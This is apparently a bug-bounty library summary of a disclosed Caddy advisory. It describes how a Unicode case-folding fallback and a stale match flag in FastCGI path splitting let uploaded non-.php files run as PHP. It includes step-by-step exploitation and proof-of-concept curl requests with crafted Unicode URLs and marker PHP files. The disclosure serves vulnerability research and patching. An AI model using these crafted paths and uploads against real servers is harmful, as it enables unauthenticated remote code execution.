# Caddy: Unsafe Unicode Handling in FastCGI splitPos Allows Execution of Non-PHP Files

Caddy's FastCGI splitPos misuses Unicode IgnoreCase search and a stale match flag, letting a non-.php file be routed as a PHP script and executed.

- Payout: Research
- Severity: high
- Program: Caddy
- Found by: KC1zs4, chenjj
- Disclosed: 2026-05-18
- CVE: CVE-2026-45135
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-m675-2p33-xv9g
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-m675-2p33-xv9g
- Tags: area:web domain:web impact:rce kind:research platform:ghsa sev:high tech:go tech:php technique:source-review technique:unicode-normalization vuln:misconfiguration vuln:path-traversal vuln:rce

**Target:** FastCGI reverse proxy split_path handling (php_fastcgi)
**Root cause:** splitPos() falls back to search.New(language.Und, search.IgnoreCase) for non-ASCII bytes, which does Unicode compatibility/case folding onto ASCII, and the inner loop breaks on a failed fallback without clearing the stale `match` flag.
**Steps:**
1. Configure Caddy with `php_fastcgi unix//run/php/php-fpm.sock` and root /app/public.
2. Place attacker file `/app/public/poc-match-unset.\xc2\xa1.` containing `<?php echo "marker=flaw1\n";`.
3. Place attacker file `/app/public/poc-search-norm.𝗽𝗵𝗽` containing `<?php echo "marker=flaw2\n";`.
4. Flaw 1: request `curl -i --path-as-is "http://127.0.0.1:8080/poc-match-unset.%C2%A1.txt/trigger"` — stale match routes the .txt file as SCRIPT_FILENAME.
5. Flaw 2: request `curl -i --path-as-is "http://127.0.0.1:8080/poc-search-norm.%F0%9D%97%BD%F0%9D%97%B5%F0%9D%97%BD.anything-after-payload.php/trigger"` — Unicode lookalike folds to .php.
6. Both responses return the marker payload, confirming code execution.
**How found:** Code review of splitPos() adapted from FrankenPHP; noticed the inner loop breaks on failed non-ASCII fallback without setting match=false, and that search.IgnoreCase does Unicode equivalence folding far beyond the ASCII-only lower-cased SplitPath entries guaranteed by Provision().
**Exploitation:** Attacker uploads a file with a crafted name (non-ASCII byte after a dot, or Unicode .php lookalike) into a FastCGI-served directory, then requests it with a crafted URL so splitPos returns a position treating the file as a script; PHP-FPM executes the file body as PHP, yielding RCE without auth over the network.
**Escalation:** Escalated from path-splitting bypass to RCE because the attacker-controlled file body is executed by the FastCGI upstream.
**Insight:** When a fast ASCII byte loop falls back to a Unicode-aware library for non-ASCII input, check that the fallback's semantics (case folding, compatibility decomposition) match the ASCII-only invariant the rest of the code assumes — and audit every break path for stale loop state.

## Proof of concept (copied exactly from the original report)

**curl requests triggering both splitPos flaws**

```
# baseline (correctly NOT routed to PHP)
curl -i --path-as-is "http://127.0.0.1:8080/poc-match-unset.txt/trigger"
curl -i --path-as-is "http://127.0.0.1:8080/poc-search-norm/trigger"

# flaw 1 — the .¡.txt file ends up as SCRIPT_FILENAME
curl -i --path-as-is "http://127.0.0.1:8080/poc-match-unset.%C2%A1.txt/trigger"

# flaw 2 — the .𝗽𝗵𝗽 file ends up as SCRIPT_FILENAME
curl -i --path-as-is "http://127.0.0.1:8080/poc-search-norm.%F0%9D%97%BD%F0%9D%97%B5%F0%9D%97%BD.anything-after-payload.php/trigger"
```

**Attacker-controlled files placed for PoC**

```
- `/app/public/poc-match-unset.\xc2\xa1.` — `<?php echo "marker=flaw1\n";`
- `/app/public/poc-search-norm.𝗽𝗵𝗽` — `<?php echo "marker=flaw2\n";`
```

